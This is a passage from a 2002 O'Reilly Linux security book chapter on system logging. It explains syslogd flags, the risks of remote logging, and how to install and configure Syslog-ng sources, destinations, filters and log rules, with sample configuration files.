than /etc/syslog.conf.
-r
Listens for syslog messages from remote hosts.
Table 10-4. Types of actions in syslog.conf (continued)
Action
Description
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
332
|
Chapter 10: System Log Management and Monitoring
For example, to make syslogd generate mark messages every 30 minutes and record
them in /var/log/messages, you would first add a line to /etc/syslog.conf similar to
Example 10-6.
You would then need to start syslogd, as shown in Example 10-7.
Another useful syslogd flag is -a [socket]. This allows you to specify one or more
sockets (in addition to /dev/log for syslogd) from which to accept messages.
In Chapter 6, we used this flag to allow a chrooted named process to bounce its mes-
sages off of a dev/log socket (device-file) in the chroot jail to the nonchrooted syslogd
process. In that example, BIND was running in a “padded cell” (subset of the full
filesystem) and had its own log socket, /var/named/dev/log. We therefore changed a
line in /etc/init.d/syslog that read as shown in Example 10-8.
(Note that the “daemon” function at the beginning of this line is unique to Red Hat’s
init script functions; the important part here is syslogd -m 0 -a /var/named/dev/log.)
More than one -a flag may be specified (Example 10-9).
Continuing down the list of flags in Table 10-5, suppose you need to test a new sys-
log configuration file named syslog.conf.test, but you prefer not to overwrite /etc/
syslog.conf, which is where syslogd looks for its configuration file by default. Use the
-f flag to tell syslogd to use your new configuration file (Example 10-10).
We’ve already covered use of the -r flag, which tells syslogd to accept log messages
from remote hosts, but we haven’t talked about the security ramifications of this. On
the one hand, security is clearly enhanced when you use a centralized log server or
do anything else that makes it easier for you to manage and monitor your logs.
Example 10-6. syslog.conf selector for mark-messages
mark.* -/var/log/messages
Example 10-7. Invoking syslogd with 30-minute marks
mylinuxbox:/etc/init.d# ./syslogd -m 30
Example 10-8. init.d/syslog line invoking syslogd to read messages from a chroot jail
daemon syslogd -m 0 -a /var/named/dev/log
Example 10-9. Invoking syslogd with multiple “additional log device” directives
syslogd -a /var/named/dev/log -a /var/otherchroot/dev/log -a /additional/dev/log
Example 10-10. Specifying the path to syslogd’s configuration file
mylinuxbox:/etc/init.d# ./syslogd -f ./syslog.conf.test
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
333
On the other hand, you must take different threat models into account. Are your logs
sensitive? If log messages traverse untrusted networks and if the inner workings of
the servers that send those messages are best kept secret, then the risks may out-
weigh the benefit (at least, the specific benefit of syslogd’s unauthenticated clear-text
remote logging mechanism).
If this is the case for you, skip to this chapter’s section on Syslog-ng. Syslog-ng can
send remote messages via the TCP protocol and can therefore be used in conjunc-
tion with stunnel, ssh, and other tools that greatly enhance its security. Since syslog
uses only the connectionless UDP protocol for remote logging and therefore can’t
“tunnel” its messages though stunnel or ssh, syslog is inherently less securable than
Syslog-ng.
If your log messages aren’t sensitive (at least the ones you send to a remote logger),
then there’s still the problem of Denial of Service and message forgery attacks. If you
invoke syslogd with the -r flag, it will accept all remote messages without performing
any checks whatsoever on the validity of the messages themselves or on their senders.
Again, this risk is most effectively mitigated by using Syslog-ng.
But one tool you can use with syslog to partially mitigate the risk of invalid remote
messages is TCPwrappers. Specifically, TCPwrappers’ “hosts access” authentication
mechanism provides a simple means of defining which hosts may connect and via
which protocols they may connect to your log server. Hosts-access authentication is
easily tricked by source-IP-spoofing (especially since syslog transactions are strictly
one way), but it’s better than nothing, and it’s probably sufficient to prevent mischie-
vous but lazy attackers from interfering with syslog.
If you’re willing to bet that it is, obtain and install TCPwrappers and refer to its
hosts_access(5) manpage for details. Note that despite its name, TCPwrappers’ hosts
access can be used to control UDP-based applications.
Syslog-ng
As useful and ubiquitous as syslog is, it’s beginning to show its age. Modern Unix
and Unix-like systems are considerably more complex than they were when syslog
was invented, and they have outgrown both syslog’s limited facilities and its primi-
tive network-forwarding functionality.
Syslog-ng (“syslog new generation”) is an attempt to increase syslog’s flexibility by
adding better message filtering, better forwarding, and eventually (though not quite
yet), message integrity and encryption. In addition, Syslog-ng supports remote log-
ging over both the TCP and UDP protocols. Syslog-ng is the brainchild of and is pri-
marily developed and maintained by Balazs (“Bazsi”) Scheidler.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
334
|
Chapter 10: System Log Management and Monitoring
Lest you think Syslog-ng is untested or untrusted, it’s already been incorporated into
Debian GNU/Linux 2.2 “Potato” as a binary package (in the “admin” section). Sys-
log-ng is in fact both stable and popular. Furthermore, even though its advanced
security features are still works in progress, Syslog-ng can be used in conjunction
with TCP “tunneling” tools such as stunnel and ssh to authenticate or encrypt log
messages sent to remote hosts.
Compiling and Installing Syslog-ng from Source Code
The non-Debian users among you may not wish to wait for your distribution of
choice to follow suit with its own binary package of Syslog-ng. Let’s start, then, with
a brief description of how to compile and install Syslog-ng from source.
First, you need to obtain the latest Syslog-ng source code. As of this writing, there are
two concurrent branches of Syslog-ng development. Syslog-ng Version 1.4 is the sta-
ble branch, so I recommend you use the latest release of Syslog-ng 1.4.
Version 1.5 is the experimental branch, and although it’s officially disclaimed as
unstable, some people use it on production systems due to its new “field expansion”
feature, which allows you to write messages in your own custom formats. If you
decide this functionality is worth the risk of running experimental code, be sure to
subscribe to the Syslog-ng mailing list (see http://lists.balabit.hu/mailman/listinfo/
syslog-ng to subscribe).
Speaking of which, it probably behooves you to browse the archives of this mailing
list periodically even if you stick to the stable branch of Syslog-ng. Bazsi Scheidler
tends to prioritize bug fixes over documentation, so Syslog-ng documentation tends
to be incomplete and even out of date.
But Bazsi not only maintains the mailing list, he also very actively participates in it,
as do other very knowledgeable and helpful Syslog-ng users and contributors. Thus
the mailing list is an excellent source of Syslog-ng assistance. Before posting a ques-
tion, you may wish to see if anyone else has asked it first. See the Syslog-ng mailing
list archives at http://lists.balabit.hu/pipermail/syslog-ng/.
Syslog-ng can be downloaded either directly from Bazsi Scheidler’s web site at http://
www.balabit.hu or from its Freshmeat project site at http://freshmeat.net/projects/
syslog-ng/. In addition to Syslog-ng itself, you’ll need the source code for libol, Sys-
log-ng’s support library.
Unzip and untar both archives. Compile and install libol first, then Syslog-ng. For
both packages the procedure is the same:
1. Change the working directory to the source’s root:
cd packagename
2. Run the source’s configure script:
./configure
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
335
3. Build the package:
./make
4. Install the package:
./make install
This will install everything in the default locations, which for both libol and Sylog-ng
are subdirectories of /usr/local (e.g., /usr/local/lib, /usr/local/sbin, etc.). If you wish to
install either package somewhere else—e.g., your home directory (which is not a bad
place to test new software)—then in Step 2, pass that directory to configure with the
--prefix= flag as in Example 10-11.
After both libol and Syslog-ng have been compiled and installed, you need to set up a
few things in Syslog-ng’s operating environment. First, create the directory /etc/
syslog-ng. Next, copy one or more of the example syslog-ng.conf files into this direc-
tory from the source-distribution’s contrib/ and doc/ directories (unless you intend to
create your syslog-ng.conf completely from scratch).
Finally, you need to create a startup script for syslog-ng in /etc/init.d and symbolic
links to it in the appropriate runlevel directories (for most Linux distributions, /etc/
rc2.d, /etc/rc3.d, and /etc/rc5.d). Sample syslog-ng init scripts for several Linux distri-
butions are provided in the Syslog-ng source distribution’s contrib/ directory. If you
don’t find one there that works for you, it’s a simple matter to make a copy of your
old syslog or sysklogd init-script and hack it to start syslog-ng rather than syslogd.
Running syslog-ng
It’s premature to start syslog-ng before you’ve created a configuration file. However,
since syslog-ng has so few startup flags, I’ll mention them in brief and spend the
remainder of this section on syslog-ng.conf use.
The only flags supported by the syslog-ng daemon are listed in Table 10-6.
Example 10-11. Telling configure where to install the package
mylinuxbox:/usr/src/libol-0.2.23# ./configure --prefix=/your/dir/here
Table 10-6. syslog-ng startup flags
Flag
Description
-d
Print debugging messages
-v
Print even more debugging messages
-f filename
Use filename as the configuration file (default=/etc/syslog-ng/syslog-ng.conf)
-V
Print version number
-p pidfilename
Name process-ID-file pidfilename (default=/var/run/syslog-ng.pid)
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
336
|
Chapter 10: System Log Management and Monitoring
In normal use, set these flags in the startup script you installed or created when you
installed Syslog-ng, and use that script not only automatically at startup time, but
also manually if you need to restart or stop Syslog-ng afterwards.
Configuring Syslog-ng
There’s quite a bit more involved in configuring Syslog-ng than with syslog, but
that’s a symptom of its flexibility. Once you understand how syslog-ng.conf works,
writing your own configurations is simple, and adapting sample configurations for
your own purposes is even simpler. Its main drawback is its sketchy documentation;
hopefully, what follows here will mitigate that drawback for you.
By default, Syslog-ng’s configuration file is named syslog-ng.conf and resides in /etc/
syslog-ng/. Let’s dissect a simple example of one in Example 10-12.
As you can see, a syslog-ng.conf file consists of options{}, source{}, destination{},
filter{}, and log{} statements. Each of these statements may contain additional set-
tings, usually delimited by semicolons.
Syntactically, syslog-ng.conf is very similar to C and other structured programming
languages. Statements are terminated by semicolons; whitespace is ignored and may
therefore be used to enhance readability (e.g., by breaking up and indenting lengthy
statements across several lines).
Example 10-12. A simple syslog-ng.conf file
# Simple syslog-ng.conf file.
options {
use_fqdn(no);
sync(0);
};
source s_sys { unix-stream("/dev/log"); internal(); };
source s_net { udp(); };
destination d_security { file("/var/log/security"); };
destination d_messages { file("/var/log/messages"); };
destination d_console { usertty("root"); };
filter f_authpriv { facility(auth, authpriv); };
filter f_messages { level(info .. emerg)
and not facility(auth, authpriv); };
filter f_emergency { level(emerg); };
log { source(s_sys); filter(f_authpriv); destination(d_security); };
log { source(s_sys); filter(f_messages); destination(d_messages); };
log { source(s_sys); filter(f_emergency); destination(d_console); };
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
337
After defining global options, message sources, message destinations, and message
filters, combine them to create logging rules.
Global options
Global options are set in syslog-ng.conf’s options{} section. Some options may be
used in the options{} section and in one or more other sections. Predictably, options
set within source{}, destination{}, filter{}, and log{} sections overrule those set in
options{}. Table 10-7 lists some of the most useful of Syslog-ng’s options.
Table 10-7. Syslog-ng options
Option
Description
schain_hostnames( yes | no )
After printing the hostname provided by tcp/udp message’s
sender, show names of all hosts by which a tcp or udp mes-
sage has been handled (default=yes).
sskeep_hostname( yes | no )
Trust hostname provided by tcp/udp message’s sender
(default=no).
ssuse_fqdn( yes | no )
Record full name of tcp/udp message-sender (default=no).
ssuse_dns( yes | no )
Resolve IP address of tcp/udp message-sender
(default=yes).
ssuse_time_recvd( yes | no )
Set message’s timestamp equal to time message was
received, not time contained in message (default=no).
sstime_reopen( NUMBER )
Number of seconds after a tcp connection dies before recon-
necting (default=60).
sstime_reap( NUMBER )
Numberofsecondstowaitbeforeclosinganinactivefile(i.e.,
an open log file to which no messages have been written for
the specified length of time) (default=60).
sslog_fifo_size( NUMBER )a
a These options may also be used in file() declarations within destination{} statements.
Number of messages to queue in memory before processing
if syslog-ng is busy; note that when queue is full, new mes-
sageswillbedropped,butthelargerthefifosize,thegreater
syslog-ng’s RAM footprint (default=100).
sssync( NUMBER )a
Number of lines (messages) written to a log file before file is
synchronized (default=0).
ssowner( string )a
Owner of log files syslog-ng creates (default=root).
ssgroup( string )a
Group for log files syslog-ng creates (default=root).
ssperm( NUMBER )a
File-permissions for log files syslog-ng creates
(default=0600).
sscreate_dirs( yes | no )a
Whether to create directories specified in destination-file
paths if they don’t exist (default=no).
ssdir_owner( string )a
Owner of directories syslog-ng creates (default=root).
ssdir_group( string )a
Group for directories syslog-ng creates (default=root).
ssdir_perm( NUMBER )a
Directory permissions for directories syslog-ng creates
(default=0700).
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
338
|
Chapter 10: System Log Management and Monitoring
Options that deal with hostnames and their resolution (chain_hostnames(), keep_
hostname(), use_fqdn(), and use_dns) deal specifically with the hostnames of remote
log clients and not with hostnames/IPs referenced in the body of the message.
In other words, if syslog-ng.conf on a central log server contains this statement:
options { use_dns(yes); };
and the remote host joe-bob, whose IP address is 10.9.8.7, sends this message:
Sep 13 19:56:56 [email protected] sshd[13037]: Accepted publickey for ROOT from
10.9.8.254 port 1355 ssh2
then the log server will log:
Sep 13 19:56:56 s_sys@joebob sshd[13037]: Accepted publickey for ROOT from
10.9.8.254 port 1355 ssh2
As you can see, 10.9.8.7 was resolved to joebob, but 10.9.8.254 wasn’t looked up.
(For now you can disregard the s_sys@ in front of the hostname; I’ll explain that
shortly.) The use_dns(yes) statement applies only to the hostname at the beginning of
the message indicating which host sent it; it doesn’t apply to other IP addresses that
may occur later in the message.
Note also that options related to files and directories may be specified both in the
global options{} statement and as modifiers to file() definitions within destination{}
statements. file() options, when different from their global counterparts, override
them. This allows you to create a “rule of thumb” with specific exceptions.
The chain_hostname() and keep_hostname() options are also worth mentioning. By
default, keep_hostname() is set to no, meaning that syslog-ng will not take the host-
name supplied by a remote log server at face value; syslog-ng will instead resolve the
source IPs of packets from that host to determine for itself what that host’s name is.
This is in contrast to syslog, which takes remote hosts’ names at face value.
chain_hostname() determines whether syslog-ng should list all hosts through which
each message has been relayed. By default, this option is set to yes.
Example 10-13 illustrates the effects of keep_hostname(no) and chain_hostname(yes)
(i.e., syslog-ng’s default behavior). It shows a log message (in this case, a syslog-ng
startup notification) being generated locally and then relayed twice. host1, who gives
its hostname as “linux,” generates the message and then sends it to host2. host2
records both “linux” and “host1,” having double checked that hostname itself via
DNS. Finally, the message is relayed to host3.
Example 10-13. A log message relayed from one host to two others
Original log entry on host1:
Sep 19 22:57:16 s_loc@linux syslog-ng[1656]: syslog-ng version 1.4.13 starting
Entry as sent to and recorded by host2:
Sep 19 22:57:16 s_loc@linux/host1 syslog-ng[1656]: syslog-ng version 1.4.13 starting
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
339
There are several interesting things to note in this example. First, you can see that in
the second entry (the one logged by host2), Syslog-ng does not clearly indicate that
“linux” is actually host1—it simply adds the “real” hostname after the “fake” one in
the slash-delimited hostname chain.
Second, the timestamp is identical in all three log entries. It’s unlikely that three hosts
would be in sync to the millisecond and be able to relay log messages amongst them-
selves virtually instantaneously. In fact, the timestamp given to the message by the
originating host (host1 here) is preserved on each host to which the message is
relayed, unless a host has its own use_time_recd() option set to “yes” (which causes
syslog-ng to replace message-provided timestamps with the time at which the mes-
sage was received locally).
Finally, Example 10-13 also shows that when host1 created the message, it (actually
its local syslog-ng process) appended s_loc, to the message—this is the label of the
source{} on host1 from which the local syslog-ng process received the message.
Example 10-14 lists host1’s syslog-ng.conf file, the one responsible for the first entry
shown in Example 10-13.
Which brings us to the next topic: Syslog-ng message sources.
Sources
The syslog-ng.conf file listed in Example 10-14 contains one source{} definition,
which itself contains two source “drivers” (message-inputs). syslog-ng.conf may con-
tain many source{} definitions, each of which may, in turn, contain multiple drivers.
In other words, the syntax of source definitions is as follows:
source sourcelabel { driver1( [options] ); driver2( [options] ); etc. };
where sourcelabel is an arbitrary string used to identify this group of inputs, and
where driver1(), driver2(), etc. are one or more source drivers that you wish to treat
as a single group.
Let’s take a closer look at the source definition in Example 10-14:
source s_loc { unix-stream("/dev/log"); internal(); };
This line creates a source called s_loc that refers to messages obtained from /dev/log
(i.e., the local system-log socket) and from the local syslog-ng process.
Same log entry as relayed from host2 to host3:
Sep 19 22:57:16 s_loc@linux/host1/host2 syslog-ng[1656]: syslog-ng version 1.4.13 starting
Example 10-14. host1’s syslog-ng.conf file
options { };
source s_loc { unix-stream("/dev/log"); internal(); };
destination d_host2 { udp("host2" port(514)); };
destination d_local { file("/var/log/messages"); };
log { source(s_loc); source(s_net); destination(d_host2); destination(d_local); };
Example 10-13. A log message relayed from one host to two others (continued)
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
340
|
Chapter 10: System Log Management and Monitoring
Syslog-ng is quite flexible in the variety of source drivers from which it can accept
messages. In addition to Unix sockets (e.g., /dev/log), syslog-ng itself, and UDP
streams from remote hosts, Syslog-ng can accept messages from named pipes, TCP
connections from remote hosts, and special files (e.g., /proc files). Table 10-8 lists
Syslog-ng’s supported source drivers.
As we just saw in Example 10-14, internal() is syslog-ng itself: syslog-ng sends itself
startup messages, errors, and other messages via this source. Therefore, you should
include internal() in at least one source{} definition. file() is used to specify special
files from which syslog-ng should retrieve messages. The special file you’d most likely
want syslog-ng to read messages from is /proc/kmsg.
Note, however, that file() is not intended for use on regular text files. If you wish
syslog-ng to “tail” dynamic log files written by other applications (e.g., httpd), you’ll
need to write a script that pipes the output from a tail -f [filename] command to
logger. (For instructions on using logger, see the section “Testing System Logging
with logger” later in this chapter.)
unix_stream() and unix_dgram() are important drivers: these read messages from
connection-oriented and connectionless Unix sockets, respectively. As noted at the
end of “Compiling and Installing Syslog-ng from Source Code,” Linux kernels Ver-
sions 2.4.1 and higher use Unix datagram sockets; if you specify /dev/log as a unix_
stream() source, kernel messages won’t be captured. Therefore, use unix_dgram()
when defining your local-system log source, e.g.:
source s_loc { unix-dgram("/dev/log"); internal(); };
Table 10-8. Source drivers for Syslog-ng
Source
Description
internal()
Messages from the syslog-ng daemon itself.
file("filename" [options])
Messages read from a special file such as /proc/kmsg.
pipe("filename" )
Messages received from a named pipe.
unix_stream("filename" [options])
Messages received from Unix sockets that can be read from in the
connection-oriented stream mode—e.g., /dev/log under kernels
prior to 2.4; the maximum allowed number of concurrent stream
connections may be specified (default=100).
unix_dgram("filename" [options])
Messages received from Unix sockets that can be read from in the
connectionlessdatagrammode—e.g.klogdmessagesfrom/dev/log
under kernel 2.4.x.
tcp([ip(address)] [port(#)]
[max-connections(#)] )
Messages received from remote hosts via the tcp protocol on the
specified TCP port (default=514) on the specified local network
interface (default=all); the maximum number of concurrent TCP
connections may be specified (default=10).
udp([ip(address)] [port(#)] )
Messages received from remote hosts via the udp protocol on the
specified UDP port (default=514) on the specified local network
interface (default=all).
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
341
If your kernel is pre-2.4.0, you should instead use unix_stream() for /dev/log.
tcp() and udp() read messages from remote hosts via the connection-oriented TCP
protocol and the connectionless UDP protocol, respectively. In both tcp() and udp(),
a listening address and a port number may be specified. By default, syslog-ng listens
on 0.0.0.0:514—that is, “all interfaces, port 514.” (Specifically, the default for tcp()
is 0.0.0.0:TCP514, and for udp(), that is 0.0.0.0:UDP514.)
Example 10-15 shows source statements for tcp() and udp(), with IP and port
options defined.
In Example 10-15, we’re defining the source s_tcpmessages as all messages received
on TCP port 10514, but only on the local network interface whose IP address is 192.
168.190.190. The source s_udpmessages, however, accepts all UDP messages
received on UDP port 514 on all local network interfaces.
Besides ip() and port(), there’s one more source option I’d like to cover. max_
connections(), which can only be used in tcp() and unix_stream() sources, restricts
the number of simultaneous connections from a given source that syslog-ng will
accept. This is a tradeoff between security and performance: if this number is high,
then few messages will be dropped when the server is under load, but at the expense
of resources. If this number is low, the chance that logging activity will bog down the
server is minimized, but whenever the number of maximum connections is reached,
messages will be dropped until a connection is freed up.
The correct syntax for max-connections() is simple: specify a positive integer between
the parentheses. For example, let’s adapt the tcp() source from Example 10-15 to
accept a maximum of 100 concurrent TCP connections from remote hosts:
source s_tcpmessages { tcp( ip(192.168.190.190) port(10514) max-connections(100) );
};
By default, max-connections() is set to 100 for unix-stream() sources and 10 for tcp()
sources.
By the way, TCP port 514 is the default listening port not only for syslog-ng, but also
for rshd. This isn’t a big deal, for the simple reason that rshd has no business run-
ning on an ostensibly secure Internet-accessible system. If, for example, you wish to
use both syslog-ng and rshd on an intranet server (even then I recommend sshd
instead), then you should specify a different (unused) port for syslog-ng to accept
TCP connections on.
Destinations
syslog-ng can be configured to send messages to the same places syslog can: ASCII
files, named pipes, remote hosts via UDP, and TTYs. In addition, syslog-ng can send
Example 10-15. tcp() and udp() sources
source s_tcpmessages { tcp( ip(192.168.190.190) port(10514) ); };
source s_udpmessages { udp(); };
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
342
|
Chapter 10: System Log Management and Monitoring
messages to Unix sockets, remote hosts via TCP, and to the standard inputs of pro-
grams. Table 10-9 lists the allowed destination types (called “drivers”) in Syslog-ng.
As with ordinary syslog, the most important type of destination is file(). Unlike with
syslog, Syslog-ng supports filename-expansion macros and a number of options that
give one much more granular control over how log files are handled.
When you specify the name of a file for syslog-ng to write messages to, you may use
macros to create all or part of the filename. For example, to tell syslog-ng to write
messages to a file whose name includes the current day, you could define a destina-
tion like this:
destination d_dailylog { file("/var/log/messages.$WEEKDAY"); };
When Syslog-ng writes to this particular destination, it will use the filename /var/log/
messages.Tues, /var/log/messages.Wed, etc., depending on what day it is. See
Table 10-10 for a complete list of supported filename macros.
Table 10-9. Supported destination drivers in syslog-ng.conf
Driver
Description
file("filename[$MACROS]" )
Write messages to standard ASCII-text log file. If file doesn’t exist,
syslog-ng will create it. Macros may be used within or in lieu of a file-
name; these allow dynamic naming of files (see Table 10-10).
tcp("address" [port(#);] )
TransmitmessagesviaTCPtothespecifiedTCPport(default=514)on
the specified IP address or hostname. (You must specify an address or
name.)
udp("address" [port(#);] )
Transmit messages via UDP to the specified UDP port (default=514)
onthespecifiedIPaddressorhostname.(Youmustspecifyanaddress
or name.)
pipe("pipename")
Send messages to a named pipe such as /dev/xconsole.
unix_stream("filename" [options])
Send messages in connection-oriented stream mode to a Unix socket
such as /dev/log.
unix_dgram("filename" [options])
Send messages in connectionless datagram mode to a Unix socket
such as /dev/log.
usertty( username )
Send messages to specified user’s console.
program("/path/to/program")
Send messages to standard input of specified program with specified
options.
Table 10-10. Macros supported in file() destinations
Macro
Expands to
PROGRAM
The name of the program that sent the message
HOST
The name of the host that originated the message
FACILITY
The facility to which the message was logged
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
343
As with syslog, if a file specified in a file() destination doesn’t exist, syslog-ng will cre-
ate it. Unlike syslog, Syslog-ng has a number of options that can be implemented
both globally and on a per-log-file basis. (Global settings are overridden by per-log-
file settings, allowing you to create “general rules” with exceptions.)
For example, whether and how syslog-ng creates new directories for its log files is
controlled via the options create_dirs(), dir_owner(), dir_group(), and dir_perm().
Example 10-16 illustrates the use of these options within a destination{} statement.
Example 10-16 also happens to show the default values of the dir_owner, dir_group(),
and dir_perm() options. While this may seem unrealistic (why would anyone go to
the trouble of setting an option to its default?), it’s necessary if nondefaults are speci-
fied in a global options{} statement and you want the default values used for a spe-
cific file—remember, options set in a destination{} statement override those set in an
options{} statement.
Other global/file-specific options can be used to set characteristics of the log file
itself: owner(), group(), and perm(), which by default are set to root, root, and 0600,
respectively. In case you’re wondering, there is no create_file() option—syslog-ng has
the irrevocable ability to create files (unless that file’s path includes a nonexistent
directory and create_dirs() is set to no). Example 10-17 shows a destination defini-
tion that includes these options.
PRIORITY or LEVEL (synonyms)
The designated priority level
YEAR
The current yeara
MONTH
The current montha
DAY
The current daya
WEEKDAY
The current day’s name (Monday, etc.)a
HOUR
The current houra
MIN
The current minutea
SEC
The current seconda
a If the global option use_time_recvd() is set to yes, then this macro’s value will be taken from the local system time when the message
was received; otherwise, for messages from remote hosts, the timestamp contained in the message will be used.
Example 10-16. Controlling a file() destination’s directory-creating behavior
destination d_mylog { file("/var/log/ngfiles/mylog" create_dirs(yes) dir_owner(root) \
dir_group(root) dir_perm(0700)); };
Example 10-17. Options that affect file properties
destination d_micklog { file("/var/log/micklog" owner(mick) group(wheel) perm(0640)); };
Table 10-10. Macros supported in file() destinations (continued)
Macro
Expands to
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
344
|
Chapter 10: System Log Management and Monitoring
The other file() option we’ll cover here is sync(), which can be used to limit the fre-
quency with which log files are synchronized. This is analogous to syslog’s “-” pre-
fix, but much more granular: whereas the “-” merely turns off synchronization, file()
accepts a numeric value that delays synchronization to as many or as few messages as
you like.
The higher the value, the more messages are cached prior to filesystem synchroniza-
tion and, therefore, the fewer “open for read” actions on the filesystem. The lower
the number, the lower the chances of data loss and the lower the delay between a
message being processed and written to disk.
By default, sync() is set to zero, meaning “synchronize after each message.” In gen-
eral, the default or a low sync() value is preferable for low-volume scenarios, but
numbers in the 100s or even 1,000s may be necessary in high-volume situations. A
good rule of thumb is to set this value to the approximate number of log-message
lines per second your system must handle at peak loads.
If you use a log monitor such as Swatch (described later in this chap-
ter) to be alerted of attacks in progress, don’t set sync() too high. If an
intruder deletes a log file, all of Syslog-ng’s cached messages will be
lost without having been parsed by the log monitor. (Log monitors
parse messages as they are written, not beforehand.)
Filters
And now we come to some of the serious magic in Syslog-ng: message filters. Filters,
while strictly optional, allow you to route messages based not only on priority/level
and facility (which syslog can do), but also on the name of the program that sent the
message, the name of the host that forwarded it over the network, a regular expres-
sion evaluated against the message itself, or even the name of another filter.
A filter{} statement consists of a label (the filter’s name) and one or more criteria con-
nected by operators (and, or, and not are supported). Table 10-11 lists the different
types of criteria that a filter{} statement may contain.
Table 10-11. filter{} functions
Function (criterion)
Description
facility( facility-name )
Facility to which the message was logged (see Table 10-1 for facility names).
priority( priority-name )
priority( priority-name1,
priority-name2, etc. )
priority( priority-name1 ..
priority-name2 )
Priority assigned to the message (see Table 10-2 for priority-names); a list of
priorities separated by commas may be specified, or a range of priorities
expressed as two priorities (upper and lower limits) separated by two periods.
level( priority-name )
Same as priority().
program( program-name )
Program that created the message.
host( hostname )
Host from which message was received.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
345
Example 10-18 shows several filter{} statements taken from the default syslog-ng.conf
file included in Debian 2.2’s syslog-ng package.
The first line in Example 10-17, filter f_mail, matches all messages logged to the
mail facility. The second filter, f_debug, matches all messages not logged to the auth,
authpriv, news, and mail facilities.
The third filter, f_messages, matches messages of priority levels info through warn,
except those logged to the auth, authpriv, cron, daemon, mail, and news facilities.
The last filter, called f_cother, matches all messages of priority levels debug, info,
notice, and warn, and also all messages logged to the daemon and mail facilities.
When you create your own filters, be sure to test them using the logger command.
See the section entitled “Testing System Logging with logger” later in this chapter.
Log statements
Now we combine the elements we’ve just defined (sources, filters, and destinations)
into log{} statements. Arguably, these are the simplest statements in syslog-ng.conf:
each consists only of a semicolon-delimited list of source(), destination(), and,
optionally, filter() references. (Filters are optional because a log{} statement contain-
ing only source() and destination() references will send all messages from the speci-
fied sources to all specified destinations.)
Elements from several previous examples are combined in Example 10-19, which
culminates in several log{} statements.
match( regular-expression )
Regular expression to evaluate against the message’s body.
filter( filter-name )
Other filter to evaluate.
Example 10-18. Filters
filter f_mail { facility(mail); };
filter f_debug { not facility(auth, authpriv, news, mail); };
filter f_messages { level(info .. warn) and not facility(auth, authpriv, cron, daemon,
mail, news); };
filter f_cother { level(debug, info, notice, warn) or facility(daemon, mail); };
Example 10-19. Another sample syslog-ng.conf file
source s_loc { unix-stream("/dev/log"); internal(); };
source s_tcpmessages { tcp( ip(192.168.190.190); port(10514);); };
destination d_dailylog { file("/var/log/messages.$WEEKDAY"); };
destination d_micklog { file("/var/log/micklog" owner(mick) perm(0600)); };
filter f_mail { facility(mail); };
Table 10-11. filter{} functions (continued)
Function (criterion)
Description
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
346
|
Chapter 10: System Log Management and Monitoring
As you can see in this example, all messages from the host 192.168.190.190 are writ-
ten to the log file /var/log/micklog, as are all local mail messages. Messages that
match the f_messages() filter are written to the log file /var/log/messages.
$WEEKDAY, e.g., /var/log/Sun, /var/log/Mon, etc.
Example 10-19 isn’t very realistic, though: no nonmail messages with priority-level
higher than warn are dealt with. This begs the question, “Can I get syslog-ng to filter
on ‘none of the above?’” The answer is yes: to match all messages that haven’t yet
matched filters in previous log{} statements, you can use the built-in filter DEFAULT.
The following line, if added to the bottom of Example 10-18, will cause all messages
not processed by any of the prior three log{} statements to be written to the daily log
file:
log { source(s_loc); filter(DEFAULT); destination(d_dailylog); };
Advanced Configurations
As you’re hopefully convinced of by this point, Syslog-ng is extremely flexible, so
much so that it isn’t feasible to illustrate all possible Syslog-ng configurations. I
would be remiss, however, if I didn’t list at least one advanced syslog-ng.conf file.
Example 10-20 shows a setup that causes syslog-ng to watch out for login failures
and access denials by matching messages against a regular expression and then send-
ing the messages to a shell script (listed in Example 10-21).
filter f_messages { level(info .. warn) and not facility(auth, authpriv, cron, daemon,
mail, news); };
log { source(s_tcpmessages); destination(d_micklog); };
log { source(s_loc); filter(f_mail); destination(d_micklog); };
log { source(s_loc); filter(f_messages); destination(d_dailylog); };
Example 10-20. Using syslog-ng as its own log watcher
# WARNING: while this syslog-ng.conf file is syntactically correct and complete, it is
# intended for illustrative purposes only -- entire categories of message
# are ignored!
source s_local { unix_stream("dev/log"); internal(); };
filter f_denials { match("[Dd]enied|[Ff]ail"); };
destination d_mailtomick { program("/usr/local/sbin/mailtomick.sh"); };
log { source(s_local); filter(f_denials); destination(d_mailtomick); };
Example 10-21. Script for emailing log messages
#!/bin/bash
# mailtomick.sh
# Script which listens for standard input and emails each line to mick
#
Example 10-19. Another sample syslog-ng.conf file (continued)
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Syslog-ng
|
347
The most important lines in Example 10-20 are the filter f_denials and the destina-
tion d_mailtomick. The filter uses a match() directive containing a regular expression
that matches the strings “denied,” “Denied,” “Fail,” and “fail.”* The destination d_
mailtomick sends messages via a program() declaration to the standard input of a
script I wrote called /usr/local/sbin/mailtomick.sh.
Before we go further in the analysis, here’s an important caveat:
program() opens the specified program once and leaves it open until
syslog-ng is stopped or restarted. Keep this in mind when deciding
whether to use pipe() or program() (i.e., pipe() doesn’t do this), and in
choosing what sort of applications you invoke with program().
